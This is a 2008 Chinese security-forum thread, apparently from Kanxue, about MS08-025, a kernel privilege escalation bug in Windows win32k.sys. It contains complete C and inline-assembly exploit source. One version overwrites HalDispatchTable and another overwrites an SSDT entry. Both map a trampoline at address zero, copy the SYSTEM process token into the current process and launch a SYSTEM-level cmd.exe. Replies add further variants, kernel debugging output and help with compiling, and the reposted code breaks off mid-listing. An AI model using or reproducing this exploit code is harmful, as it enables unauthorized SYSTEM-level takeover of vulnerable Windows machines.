首页
社区
课程
招聘
[原创]MS08-025 win32k.sys NtUserFnOUTSTRING Privilege Escalation Exploit
2008-4-14 19:17 14154

[原创]MS08-025 win32k.sys NtUserFnOUTSTRING Privilege Escalation Exploit

2008-4-14 19:17
14154
问题出在ProbeForWrite在处理指定的地址可写时,传入指定的长度为0时就不进行判断,就可以造成指定的地址可写,这样我们就可以写任意的内核空间了,

.text:BF850BB7                 push    14h
.text:BF850BB9                 push    offset stru_BF9940D0
.text:BF850BBE                 call    __SEH_prolog
.text:BF850BC3                 xor     edx, edx
.text:BF850BC5                 mov     [ebp+ms_exc.disabled], edx
.text:BF850BC8                 mov     eax, [ebp+var_20]
.text:BF850BCB                 mov     ecx, 7FFFFFFFh
.text:BF850BD0                 and     eax, ecx
.text:BF850BD2                 mov     esi, [ebp+arg_18]
.text:BF850BD5                 shl     esi, 1Fh
.text:BF850BD8                 or      eax, esi
.text:BF850BDA                 mov     [ebp+var_20], eax
.text:BF850BDD                 mov     esi, eax
.text:BF850BDF                 xor     esi, [ebp+arg_8]
.text:BF850BE2                 and     esi, ecx
.text:BF850BE4                 xor     eax, esi
.text:BF850BE6                 mov     [ebp+var_20], eax
.text:BF850BE9                 cmp     [ebp+arg_18], edx
.text:BF850BEC                 jnz     short loc_BF850BFA
.text:BF850BEE                 lea     esi, [eax+eax] //当eax=0x80000000时,esi就会整形溢出为0,这样就触发了可写内核空间
.text:BF850BF1                 xor     esi, eax
.text:BF850BF3                 and     esi, ecx
.text:BF850BF5                 xor     eax, esi
.text:BF850BF7                 mov     [ebp+var_20], eax
.text:BF850BFA
.text:BF850BFA loc_BF850BFA:                           ; CODE XREF: NtUserfnOUTSTRING(x,x,x,x,x,x,x)+35 j
.text:BF850BFA                 mov     [ebp+var_24], edx
.text:BF850BFD                 mov     esi, [ebp+Address]
.text:BF850C00                 mov     [ebp+var_1C], esi
.text:BF850C03                 xor     ebx, ebx
.text:BF850C05                 inc     ebx
.text:BF850C06                 push    ebx             ; Alignment
.text:BF850C07                 and     eax, ecx
.text:BF850C09                 push    eax             ; Length //length=0
.text:BF850C0A                 push    esi             ; Address
.text:BF850C0B                 call    ds:__imp__ProbeForWrite@12 ; ProbeForWrite(x,x,x)
.text:BF850C11                 or      [ebp+ms_exc.disabled], 0FFFFFFFFh
.text:BF850C15                 mov     eax, [ebp+arg_14]
.text:BF850C18                 add     eax, 6
.text:BF850C1B                 and     eax, 1Fh
.text:BF850C1E                 push    [ebp+arg_10]
.text:BF850C21                 lea     ecx, [ebp+var_24]
.text:BF850C24                 push    ecx
.text:BF850C25                 push    [ebp+arg_8]
.text:BF850C28                 push    [ebp+arg_4]
.text:BF850C2B                 push    [ebp+arg_0]
.text:BF850C2E                 mov     ecx, _gpsi
.text:BF850C34                 call    dword ptr [ecx+eax*4+8]
.text:BF850C38                 mov     edi, eax
.text:BF850C3A                 test    edi, edi
.text:BF850C3C                 jz      loc_BF850B94
.text:BF850C42
.text:BF850C42 loc_BF850C42:                           ; CODE XREF: NtUserfnOUTSTRING(x,x,x,x,x,x,x)-20 j
.text:BF850C42                                         ; NtUserfnOUTSTRING(x,x,x,x,x,x,x)-A j
.text:BF850C42                 mov     eax, edi
.text:BF850C44                 call    __SEH_epilog
.text:BF850C49                 retn    1Ch
.text:BF850C49 _NtUserfnOUTSTRING@28 endp
.text:BF850C49
.text:BF850C4C ; ---------------------------------------------------------

这里是通过覆盖了内核中的 HalDispatchTable表来执行shellcode的

下面是我修改ruben的exploit

// ms08-25-exploit #1
// This exploit takes advantage of one of the vulnerabilities
// patched in the Microsoft Security bulletin MS08-25
// http://www.microsoft.com/technet/security/bulletin/ms08-025.mspx
// ---------------------------------------
// For research purposes ONLY.
// ---------------------------------------
// Ruben Santamarta
// www.reversemode.com
// http://hi.baidu.com/vessial changed the shellcode

#include "stdafx.h"

typedef enum _KPROFILE_SOURCE {

    ProfileTime,
    ProfileAlignmentFixup,
    ProfileTotalIssues,
    ProfilePipelineDry,
    ProfileLoadInstructions,
    ProfilePipelineFrozen,
    ProfileBranchInstructions,
    ProfileTotalNonissues,
    ProfileDcacheMisses,
    ProfileIcacheMisses,
    ProfileCacheMisses,
    ProfileBranchMispredictions,
    ProfileStoreInstructions,
    ProfileFpInstructions,
    ProfileIntegerInstructions,
    Profile2Issue,
    Profile3Issue,
    Profile4Issue,
    ProfileSpecialInstructions,
    ProfileTotalCycles,
    ProfileIcacheIssues,
    ProfileDcacheAccesses,
    ProfileMemoryBarrierCycles,
    ProfileLoadLinkedIssues,
    ProfileMaximum

} KPROFILE_SOURCE, *PKPROFILE_SOURCE;

typedef DWORD (WINAPI *PNTQUERYINTERVAL)( KPROFILE_SOURCE ProfileSource,
                                           PULONG          Interval );

typedef NTSTATUS (WINAPI *PNTALLOCATE)(   IN HANDLE               ProcessHandle,
                                       IN OUT PVOID            *BaseAddress,
                                       IN ULONG                ZeroBits,
                                       IN OUT PULONG           RegionSize,
                                       IN ULONG                AllocationType,
                                       IN ULONG                Protect );

OSVERSIONINFOEX OsVersionInfo;

_declspec(naked) int ShellCode()
{
  
      if ( OsVersionInfo.dwMinorVersion == 1 ) {

       __asm {

               nop
               nop
               nop
               nop
               nop
               nop

               mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
               Mov eax,[eax]

               mov esi,[eax+0x220]
               mov eax,esi

searchXp:

               mov eax,[eax+0x88]
               sub eax,0x88
               mov edx,[eax+0x84]
               cmp edx,0x4 // Find System Process
               jne searchXp

               mov eax,[eax+0xc8] // 获取system进程的token
               mov [esi+0xc8],eax // 修改当前进程的token

               ret 8

       }
   }
   if ( OsVersionInfo.dwMinorVersion == 2 ) {

       __asm {

           nop
               nop
               nop
               nop
               nop
               nop

               mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
               Mov eax,[eax]

               mov esi,[eax+0x220]
               mov eax,esi

search2003:

               mov eax,[eax+0x98]
               sub eax,0x98
               mov edx,[eax+0x94]
                cmp edx,0x4 // Find System Process
               jne search2003

               mov eax,[eax+0xd8] // 获取system进程的token
               mov [esi+0xd8],eax // 修改当前进程的token
               ret 8

       }
   }

  
}
_declspec(naked) ULONG __stdcall NtUserMessageCall
(
   IN HWND arg1,
    IN ULONG_PTR arg2,
    IN ULONG_PTR arg3,
    IN ULONG_PTR arg4,
    IN ULONG_PTR arg5,
    IN ULONG_PTR arg6,
   IN ULONG_PTR arg7
)
{
   __asm
   {
       mov eax, 000011cch
       mov edx, 7ffe0300h
       call dword ptr [edx]
       retn 1Ch
   }
}

void InitTrampoline()
{

   PNTALLOCATE NtAllocateVirtualMemory;
   LPVOID       addr = (LPVOID)3;
   DWORD       dwShellSize=0x1000;
   unsigned char trampoline[]="\x68\x00\x00\x00\x00" //push 0x0
                               "\xc3";                                           // retn

   NtAllocateVirtualMemory = (PNTALLOCATE) GetProcAddress(GetModuleHandle("ntdll.dll"),"NtAllocateVirtualMemory");
  
   if( !NtAllocateVirtualMemory )
       exit(0);  
  
   NtAllocateVirtualMemory(   (HANDLE)-1,
                               &addr,
                               0,
                               &dwShellSize,
                               MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
                               PAGE_EXECUTE_READWRITE );

   if( (ULONG_PTR)addr )
   {
       printf("\n[++] Error Allocating memory\n");
       exit(0);  
   }

  
   *(ULONG_PTR*)(trampoline+1)=(ULONG_PTR)ShellCode;//push &shellcode
                   // retn
                                                                                             这样就可以直接执行shellcode了
   memcpy(NULL,trampoline,sizeof(trampoline)-1);       指 跳转指令写入0x0地址,cool吧,你有做过吗?:)
}
int Callback_Overview()
{
   printf("\n");
   printf("=====================================================================   \n");
   printf("\t\tMicrosoft Windows XP SP2 - MS08-025 -       \n");
   printf("\twin32k.sys NtUserFnOUTSTRING Privilege Escalation Exploit   \n");
   printf("=====================================================================   \n");
   printf("+ References:\n");
   printf(" http://www.microsoft.com/technet/security/bulletin/ms08-025.mspx\n");
   printf(" http://www.reversemode.com\n\n");
    printf(" http://hi.baidu.com/vessial\n\n");
    printf(" vessial just changed the shellcode can get the system token\n");
   return 1;
}

int main(int argc, char **argv)
{
  

   PNTQUERYINTERVAL   NtQueryIntervalProfile;
   KPROFILE_SOURCE   stProfile = ProfileTotalIssues;

   ULONG_PTR   HalDispatchTable;
   ULONG_PTR   BaseNt=0;
   ULONG_PTR   result;
  
   HMODULE       hKernel;
   char       szNtos[MAX_PATH] = {0};

   STARTUPINFOA                stStartup;
   PROCESS_INFORMATION            pi;

   Callback_Overview();
   
   LoadLibrary("user32.dll");

   if( GetDriverInfoByName("krnl",szNtos,&BaseNt) )
   {
       printf("[+] %s loaded at   \t [ 0x%p ]\n",szNtos,BaseNt);
      
   }
   else
   {
       printf("[!!] Kernel not found :?\n");
       return FALSE;
   }

   if( strstr(szNtos,"krnlpa") )
   {
       hKernel = LoadLibraryExA("ntkrnlpa.exe",0,1);  
   }
   else
   {
       hKernel = LoadLibraryExA("ntoskrnl.exe",0,1);
   }  

   HalDispatchTable = (ULONG_PTR)GetProcAddress(hKernel, "HalDispatchTable");

   if( !HalDispatchTable )
   {
       printf("[!!] HalDispatchTable not found\n");
       return FALSE;
   }
  
  

   RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) );
   OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
   GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo);

   if ( OsVersionInfo.dwMajorVersion != 5 ) {

       printf( "Not NT5 system\n" );
       ExitProcess( 0 );
   }
   //Get Operatiny System Version
   HalDispatchTable -= ( ULONG_PTR )hKernel;
   HalDispatchTable += BaseNt;

   printf("[+] HalDispatchTable found    \t\t\t [ 0x%p ]\n",HalDispatchTable);
  
   printf("[+] NtQueryIntervalProfile ");

   NtQueryIntervalProfile = ( PNTQUERYINTERVAL )
                           GetProcAddress(   GetModuleHandle("ntdll.dll")
                                           ,"NtQueryIntervalProfile");
  
   if( !NtQueryIntervalProfile )
   {
       printf("[!!] Unable to resolve NtQueryIntervalProfile\n");
       return FALSE;
   }
   printf( "\t\t\t [ 0x%p ]\n",NtQueryIntervalProfile );
  
   InitTrampoline();

   NtUserMessageCall(   GetDesktopWindow(),
                       0xD,
                       0x80000000,
                       HalDispatchTable+sizeof(WORD)+sizeof(ULONG_PTR),
                       0x0,
                       0x0,
                       0x0);
   NtUserMessageCall(   GetDesktopWindow(),
                       0xD,
                       0x80000000,
                       HalDispatchTable+sizeof(ULONG_PTR),
                       0x0,
                       0x0,
                       0x0);
   printf("\n[+] Executing Shellcode...\n");
  
   NtQueryIntervalProfile(stProfile,&result);//这里的作用是为了call 0x0,真是经典
   GetStartupInfo( &stStartup );

   CreateProcess( NULL,
       "cmd.exe",
       NULL,
       NULL,
       TRUE,
       NULL,
       NULL,
       NULL,
       &stStartup,
       &pi );   //此时创建的cmd.exe是SYSTEM权限

   
   printf("[+] Exiting...\n");

   return TRUE;
}

  在XP系统下测试成功:)
  2003还没有试过,大家试试:)

技术研究,请勿作非法用途

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
点赞7
打赏
分享
最新回复 (31)
雪    币: 4534
活跃值: (897)
能力值: ( LV16,RANK:480 )
在线值:
发帖
回帖
粉丝
vessial(xee) 11 2008-4-14 19:33
2
0
PS: 学习了一下内核漏洞利用

感谢whitecell的大牛们的精典exploit
雪    币: 134
活跃值: (84)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
NWMonster 1 2008-4-14 20:29
3
0
很强,谢谢,支持一个
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
bwin 2008-4-14 21:00
4
0
学习了一下内核漏洞利用
雪    币: 7034
活跃值: (2604)
能力值: (RANK:520 )
在线值:
发帖
回帖
粉丝
netwind 13 2008-4-14 21:08
5
0
SSDT

很多exploit用的覆盖SSDT执行shell ,
但实际情况SSDT 有内存保护 不可写

不知道楼主是否尝试过改写SSDT
雪    币: 250
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
amour 2008-4-14 22:11
6
0
学习收藏之!!
雪    币: 250
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
amour 2008-4-14 22:35
7
0
server 2003 sp1下提权失败
雪    币: 4534
活跃值: (897)
能力值: ( LV16,RANK:480 )
在线值:
发帖
回帖
粉丝
vessial(xee) 11 2008-4-15 00:31
8
0
看见上帖,大家提了一下,我以前也没有试过,于是现在自已尝试一下,没想到还真成功了,呵呵,谢谢大家的提醒:)

MS08-025 win32k.sys NtUserFnOUTSTRING Privilege Escalation Exploit
另一种利用方式,通过覆盖SSDT表NtVdmControl的地址进行shellcode的执行

#include <stdio.h>
#include <windows.h>

typedef LONG NTSTATUS;
typedef NTSTATUS (NTAPI *PNTALLOCATE)(HANDLE               ProcessHandle,
                                       PVOID            *BaseAddress,
                                       ULONG                ZeroBits,
                                       PULONG           RegionSize,
                                       ULONG                AllocationType,
                                       ULONG                Protect );
typedef NTSTATUS (NTAPI *ZWVDMCONTROL)(ULONG, PVOID);
void ErrorQuit(char *msg)
{
    printf("%s:%x\n", msg, GetLastError());
    ExitProcess(0);
}
ZWVDMCONTROL    ZwVdmControl=NULL;
OSVERSIONINFOEX OsVersionInfo;

_declspec(naked) int ShellCode()
{

      if ( OsVersionInfo.dwMinorVersion == 1 ) {

       __asm {

               nop
               nop
               nop
               nop
               nop
               nop

               mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
               Mov eax,[eax]

               mov esi,[eax+0x220]
               mov eax,esi

searchXp:

               mov eax,[eax+0x88]
               sub eax,0x88
               mov edx,[eax+0x84]
               cmp edx,0x4 // Find System Process
               jne searchXp

               mov eax,[eax+0xc8] // 获取system进程的token
               mov [esi+0xc8],eax // 修改当前进程的token

               ret 8

       }
   }
   if ( OsVersionInfo.dwMinorVersion == 2 ) {

       __asm {

           nop
               nop
               nop
               nop
               nop
               nop

               mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
               Mov eax,[eax]

               mov esi,[eax+0x220]
               mov eax,esi

search2003:

               mov eax,[eax+0x98]
               sub eax,0x98
               mov edx,[eax+0x94]
                cmp edx,0x4 // Find System Process
               jne search2003

               mov eax,[eax+0xd8] // 获取system进程的token
               mov [esi+0xd8],eax // 修改当前进程的token
               ret 8

       }
   }

}

void InitTrampoline()
{

   PNTALLOCATE NtAllocateVirtualMemory;
   LPVOID       addr = (LPVOID)3;
   DWORD       dwShellSize=0x1000;
   unsigned char trampoline[]="\x68\x00\x00\x00\x00" //push 0x0
                               "\xc3";               // retn

   NtAllocateVirtualMemory = (PNTALLOCATE) GetProcAddress(GetModuleHandle("ntdll.dll"),"NtAllocateVirtualMemory");

   if( !NtAllocateVirtualMemory )
       exit(0);

   NtAllocateVirtualMemory(   (HANDLE)-1,
                               &addr,
                               0,
                               &dwShellSize,
                               MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
                               PAGE_EXECUTE_READWRITE );

   if( (PULONG)addr )
   {
       printf("\n[++] Error Allocating memory\n");
       exit(0);
   }

   *(PULONG*)(trampoline+1)=(PULONG)ShellCode;
   memcpy(NULL,trampoline,sizeof(trampoline)-1);
}
int Callback_Overview()
{
   printf("\n");
   printf("=====================================================================   \n");
   printf("\t\tMicrosoft Windows XP SP2 - MS08-025 -       \n");
   printf("\twin32k.sys NtUserFnOUTSTRING Privilege Escalation Exploit   \n");
   printf("=====================================================================   \n");
   printf("+ References:\n");
   printf(" http://www.microsoft.com/technet/security/bulletin/ms08-025.mspx\n");
   printf(" http://hi.baidu.com/vessial\n\n");
   return 1;
}

void GetFunction()
{
    HANDLE    hNtdll,hNtos;
   
    hNtdll = LoadLibrary("ntdll.dll");
    if(hNtdll == NULL)
        ErrorQuit("LoadLibrary failed.\n");
      
    ZwVdmControl = (ZWVDMCONTROL)GetProcAddress(hNtdll, "ZwVdmControl");
    if(ZwVdmControl == NULL)
        ErrorQuit("GetProcAddress failed.\n");
              
    FreeLibrary(hNtdll);
}
int main(int argc, char **argv)
{

   //PULONG   PntVdmControl=0x805F0DB0;
PULONG   PntVdmControl=0x80502460; //通过*(PULONG)(KeServiceDescriptorTalbe)+0x10c*4获得
   
   
   STARTUPINFOA                stStartup;
   PROCESS_INFORMATION            pi;

   Callback_Overview();
   GetFunction();
   RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) );
   OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
   GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo);

   if ( OsVersionInfo.dwMajorVersion != 5 ) {

       printf( "Not NT5 system\n" );
       ExitProcess( 0 );
   }
   //Get Operatiny System Version
      
   InitTrampoline();

   SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, (char*)PntVdmControl );
   SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, (char*)PntVdmControl+2);//覆盖NtVdmControl所在的SSDT表,覆盖后结果为0x0
   printf("\n[+] Executing Shellcode...\n");

   ZwVdmControl(0, NULL);//这里就是call 0x0了,跳转执行我们的shellcode,哈哈:)
   GetStartupInfo( &stStartup );

   CreateProcess( NULL,
       "cmd.exe",
       NULL,
       NULL,
       TRUE,
       NULL,
       NULL,
       NULL,
       &stStartup,
       &pi );   //此时创建的cmd.exe是SYSTEM权限

  
   printf("[+] Exiting...\n");

   return TRUE;
}
我在XP测试成功,下面的第一个cmd是SYSTEM权限,这是我们提权后的,一个cmd是test权限

上传的附件:
雪    币: 4534
活跃值: (897)
能力值: ( LV16,RANK:480 )
在线值:
发帖
回帖
粉丝
vessial(xee) 11 2008-4-15 00:35
9
0
  我的是windows 2003 SP2,没 有作SP1的系统判断

  你可以先看一下SP1的EPROCESS的数据结构和偏移是否正确,再改一下shellcode,应该没有问题。
雪    币: 7034
活跃值: (2604)
能力值: (RANK:520 )
在线值:
发帖
回帖
粉丝
netwind 13 2008-4-15 03:27
10
0
我这里 一写SSDT就蓝,把SSDT写保护去掉 能执行shell  不过ret 8返回时 又出错了

我是申请块内存 地址为0x8  此地址开始放入shell
然后用0x8 覆盖SSDT里的函数
这样就不行?

#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
#include "setshell.h"
#define NTSTATUS        int
typedef NTSTATUS (NTAPI *ZWALLOCATEVIRTUALMEMORY)(HANDLE, PVOID *, ULONG, PULONG, ULONG, ULONG);
ZWALLOCATEVIRTUALMEMORY ZwAllocateVirtualMemory;
int main(int argc,char *argv[])
{

    PVOID    ZwVdmControl = NULL;        
    DWORD    HookAddress =0x8725f868;// 0x80504d70;//0x80502460;//0x805faad2; //ntvdmcontrol //这里要改掉
    DWORD    HookAddress1 = 0x8725f866;// 就是HookAddress-2 //相应的也该掉
    PVOID    ShellCodeMemory = (PVOID)0x8;  //Shellcode的地址
    DWORD    MemorySize = 0x1000;
    PROCESS_INFORMATION            pi;
    STARTUPINFOA                stStartup;
        HINSTANCE        hNtdll;
    hNtdll = LoadLibrary("ntdll.dll");
        ZwAllocateVirtualMemory =(ZWALLOCATEVIRTUALMEMORY)GetProcAddress(hNtdll, "ZwAllocateVirtualMemory");
    ZwVdmControl = GetProcAddress( LoadLibrary("ntdll.dll"), "ZwVdmControl" );
    printf( "
  • Create execute environment ... " );

  •     ZwAllocateVirtualMemory( (HANDLE)-1,
                                          &ShellCodeMemory,
                                          0,
                                          &MemorySize,
                                          MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
                                          PAGE_EXECUTE_READWRITE );

        printf( "Ok!\n" );
        memset( ShellCodeMemory, 0x90, MemorySize );
        SetShellCodeToMemory( (PVOID)((DWORD)ShellCodeMemory + 0x8) );
            CHAR        b[1000];
            DWORD saddr=0x8;
            ::SendMessageW(::GetDesktopWindow() , WM_SETTEXT , 1 , (ULONG)&saddr );

            ::SendMessageW(::GetDesktopWindow() , WM_GETTEXT , 0x80000000 ,HookAddress);
        saddr=0;
            ::SendMessageW(::GetDesktopWindow() , WM_SETTEXT , 1 , (ULONG)&saddr );
        ::SendMessageW(::GetDesktopWindow() , WM_GETTEXT , 0x80000000 , HookAddress1);
    _asm {
       
            xor ecx,ecx
            push ecx
            push ecx
            mov eax, ZwVdmControl
            call eax
        }
    GetStartupInfo( &stStartup );

        CreateProcess( NULL,
                        "cmd.exe",
                        NULL,
                        NULL,
                        TRUE,
                        NULL,
                        NULL,
                        NULL,
                        &stStartup,
                        &pi );
    return 0;
    }

    //setshell.h

    VOID SetShellCodeToMemory(
        PVOID    ShellCodeMemory
        )
    {
        OSVERSIONINFOEX    OsVersionInfo;

        RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) );
        OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
        GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo);

        if ( OsVersionInfo.dwMajorVersion != 5 ) {

            printf( "Not NT5 system\n" );
            ExitProcess( 0 );
            return;
        }

        if ( OsVersionInfo.dwMinorVersion == 1 ) {
       
            __asm {

                call CopyXpShellCode
                nop
                nop
                nop
                nop
                nop
                nop

                mov    eax,0xFFDFF124    // eax = KPCR        (not 3G Mode)
                Mov    eax,[eax]

                mov    esi,[eax+0x220]
                mov    eax,esi

            searchXp:

                mov    eax,[eax+0x88]
                sub    eax,0x88
                mov    edx,[eax+0x84]
                cmp    edx,0x4    // Find System Process
                jne    searchXp

                mov    eax,[eax+0xc8]    // 获取system进程的token
                mov    [esi+0xc8],eax    // 修改当前进程的token

                ret 8
                   
        CopyXpShellCode:
                pop esi
                mov edi, ShellCodeMemory
                lea ecx, CopyXpShellCode
                sub ecx, esi
                cld
                rep movsb
            }
        }
    }
    雪    币: 332
    活跃值: (25)
    能力值: ( LV12,RANK:460 )
    在线值:
    发帖
    回帖
    粉丝
    火影 11 2008-4-15 08:47
    11
    0
    学习之
    雪    币: 4534
    活跃值: (897)
    能力值: ( LV16,RANK:480 )
    在线值:
    发帖
    回帖
    粉丝
    vessial(xee) 11 2008-4-15 09:02
    12
    0
    那你得用softice跟一下,看是在哪儿出的错。
    雪    币: 8861
    活跃值: (2364)
    能力值: ( LV12,RANK:760 )
    在线值:
    发帖
    回帖
    粉丝
    cvcvxk 10 2008-4-15 12:03
    13
    0
    用shellcode创建个调用门不就可以随时进ring0了么~
    雪    币: 7034
    活跃值: (2604)
    能力值: (RANK:520 )
    在线值:
    发帖
    回帖
    粉丝
    netwind 13 2008-4-15 12:39
    14
    0
    我在虚拟机调试 我这里的xp不能写SSDT 先去掉内存写保护才可以
    为什么有的机器可以写SSDT 有的却不可以
    去掉写保护后 shell执行完 返回出错了,
    kd>
    00000039 8986c8000000    mov     dword ptr [esi+0C8h],eax
    0000003f c20800          ret     8
    00000042 90              nop
    00000043 90              nop
    00000044 90              nop
    00000045 90              nop
    00000046 90              nop
    00000047 90              nop
    kd> ba e1 3f
    kd> g
    Breakpoint 2 hit
    0000003f c20800          ret     8
    kd> t                                                            //执行完ret 8 返回
    nt!KiFastCallEntry+0xf8:
    8053d808 8be5            mov     esp,ebp
    kd> g                                                              //这里就走不了了
    Access violation - code c0000005 (!!! second chance !!!)
    00007d70 ??              ???

    加调用门? 老v把代码放出来大家学习啊
    雪    币: 200
    能力值: (RANK:10 )
    在线值:
    发帖
    回帖
    粉丝
    NIXIANG 2008-4-15 15:07
    15
    0
    学习。。。。
    雪    币: 321
    活跃值: (271)
    能力值: ( LV13,RANK:1050 )
    在线值:
    发帖
    回帖
    粉丝
    combojiang 26 2008-4-15 20:13
    16
    0
    学习
    雪    币: 7651
    活跃值: (493)
    能力值: ( LV9,RANK:610 )
    在线值:
    发帖
    回帖
    粉丝
    achillis 15 2008-4-16 16:27
    17
    0
    好像内存比较小的时候不会开启SSDT的写保护,不知道14楼说的是不是因为这个
    雪    币: 160
    活跃值: (10)
    能力值: ( LV2,RANK:10 )
    在线值:
    发帖
    回帖
    粉丝
    walterwong 2008-4-16 18:26
    18
    0
    樓主 你那個exploit如何compile呀?
    我用vc 6.0 要加上什么.h檔?

    #include "stdafx.h"

    可否不要呀?
    雪    币: 7651
    活跃值: (493)
    能力值: ( LV9,RANK:610 )
    在线值:
    发帖
    回帖
    粉丝
    achillis 15 2008-4-16 18:33
    19
    0
    那个头文件是建工程的时候自己生成的,可以不要。
    你对VC还不熟就来玩这种玩意...
    雪    币: 160
    活跃值: (10)
    能力值: ( LV2,RANK:10 )
    在线值:
    发帖
    回帖
    粉丝
    walterwong 2008-4-16 18:35
    20
    0
    為何我一run你的程式 就立即restar
    我是用vc6.0 compile xp sp2 繁中
    雪    币: 160
    活跃值: (10)
    能力值: ( LV2,RANK:10 )
    在线值:
    发帖
    回帖
    粉丝
    walterwong 2008-4-16 18:38
    21
    0
    那請問樓主那個程式 應如何compile 應加上什么頭檔?
    雪    币: 200
    活跃值: (10)
    能力值: ( LV2,RANK:10 )
    在线值:
    发帖
    回帖
    粉丝
    nbgj 2008-4-17 09:18
    22
    0
    有点弄不明白,不过顶了
    雪    币: 160
    活跃值: (10)
    能力值: ( LV2,RANK:10 )
    在线值:
    发帖
    回帖
    粉丝
    walterwong 2008-4-17 22:53
    23
    0
    如何compile呀?
    http://tieba.baidu.com/f?ct=335675392&tn=baiduPostBrowser&sc=3662504648&z=357690591&pn=0&rn=50&lm=0&word=c%2B%2B#3662504648
    雪    币: 119
    活跃值: (298)
    能力值: ( LV2,RANK:10 )
    在线值:
    发帖
    回帖
    粉丝
    渗透 2008-4-18 14:29
    24
    0
    另一种形态!就如同 峨眉与少林
    雪    币: 160
    活跃值: (10)
    能力值: ( LV2,RANK:10 )
    在线值:
    发帖
    回帖
    粉丝
    walterwong 2008-4-21 23:45
    25
    0
    #include <stdio.h>
    #include <windows.h>

    typedef LONG NTSTATUS;
    typedef NTSTATUS (NTAPI *PNTALLOCATE)(HANDLE              ProcessHandle,
                                          PVOID            *BaseAddress,
                                          ULONG                ZeroBits,
                                          PULONG          RegionSize,
                                          ULONG                AllocationType,
                                          ULONG                Protect );
    typedef NTSTATUS (NTAPI *ZWVDMCONTROL)(ULONG, PVOID);
    void ErrorQuit(char *msg)
    {
        printf("%s:%x\n", msg, GetLastError());
        ExitProcess(0);
    }
    ZWVDMCONTROL    ZwVdmControl=NULL;
    OSVERSIONINFOEX OsVersionInfo;

    _declspec(naked) int ShellCode()
    {

          if ( OsVersionInfo.dwMinorVersion == 1 ) {

          __asm {

                  nop
                  nop
                  nop
                  nop
                  nop
                  nop

                  mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
                  Mov eax,[eax]

                  mov esi,[eax+0x220]
                  mov eax,esi

    searchXp:

                  mov eax,[eax+0x88]
                  sub eax,0x88
                  mov edx,[eax+0x84]
                  cmp edx,0x4 // Find System Process
                  jne searchXp

                  mov eax,[eax+0xc8] // 获取system进程的token
                  mov [esi+0xc8],eax // 修改当前进程的token

                  ret 8

          }
      }
      if ( OsVersionInfo.dwMinorVersion == 2 ) {

          __asm {

              nop
                  nop
                  nop
                  nop
                  nop
                  nop

                  mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
                  Mov eax,[eax]

                  mov esi,[eax+0x220]
                  mov eax,esi

    search2003:

                  mov eax,[eax+0x98]
                  sub eax,0x98
                  mov edx,[eax+0x94]
                    cmp edx,0x4 // Find System Process
                  jne search2003

                  mov eax,[eax+0xd8] // 获取system进程的token
                  mov [esi+0xd8],eax // 修改当前进程的token
                  ret 8

          }
      }

    }

    void InitTrampoline()
    {

      PNTALLOCATE NtAllocateVirtualMemory;
      LPVOID      addr = (LPVOID)3;
      DWORD      dwShellSize=0x1000;
      unsigned char trampoline[]="\x68\x00\x00\x00\x00" //push 0x0
                                  "\xc3";              // retn

      NtAllocateVirtualMemory = (PNTALLOCATE) GetProcAddress(GetModuleHandle("ntdll.dll"),"NtAllocateVirtualMemory");

      if( !NtAllocateVirtualMemory )
          exit(0);

      NtAllocateVirtualMemory(  (HANDLE)-1,
                                  &addr,
                                  0,
                                  &dwShellSize,
                                  MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
                                  PAGE_EXECUTE_READWRITE );

      if( (PULONG)addr )
      {
          printf("\n[++] Error Allocating memory\n");
          exit(0);
      }

      *(PULONG*)(trampoline+1)=(PULONG)ShellCode;
      memcpy(NULL,trampoline,sizeof(trampoline)-1);
    }
    int Callback_Overview()
    {
      printf("\n");
      printf("=====================================================================  \n");
      printf("\t\tMicrosoft Windows XP SP2 - MS08-025 -      \n");
      printf("\twin32k.sys NtUserFnOUTSTRING Privilege Escalation Exploit  \n");
      printf("=====================================================================  \n");
      printf("+ References:\n");
      printf(" http://www.microsoft.com/technet/security/bulletin/ms08-025.mspx\n");
      printf(" http://hi.baidu.com/vessial\n\n");
      return 1;
    }

    void GetFunction()
    {
        HANDLE    hNtdll,hNtos;

        hNtdll = LoadLibrary("ntdll.dll");
        if(hNtdll == NULL)
            ErrorQuit("LoadLibrary failed.\n");
         
        ZwVdmControl = (ZWVDMCONTROL)GetProcAddress(hNtdll, "ZwVdmControl");
        if(ZwVdmControl == NULL)
            ErrorQuit("GetProcAddress failed.\n");
                
        FreeLibrary(hNtdll);
    }
    int main(int argc, char **argv)
    {

      //PULONG  PntVdmControl=0x805F0DB0;
    PULONG  PntVdmControl=0x80502460; //通过*(PULONG)(KeServiceDescriptorTalbe)+0x10c*4获得

       
      STARTUPINFOA                stStartup;
      PROCESS_INFORMATION            pi;

      Callback_Overview();
      GetFunction();
      RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) );
      OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
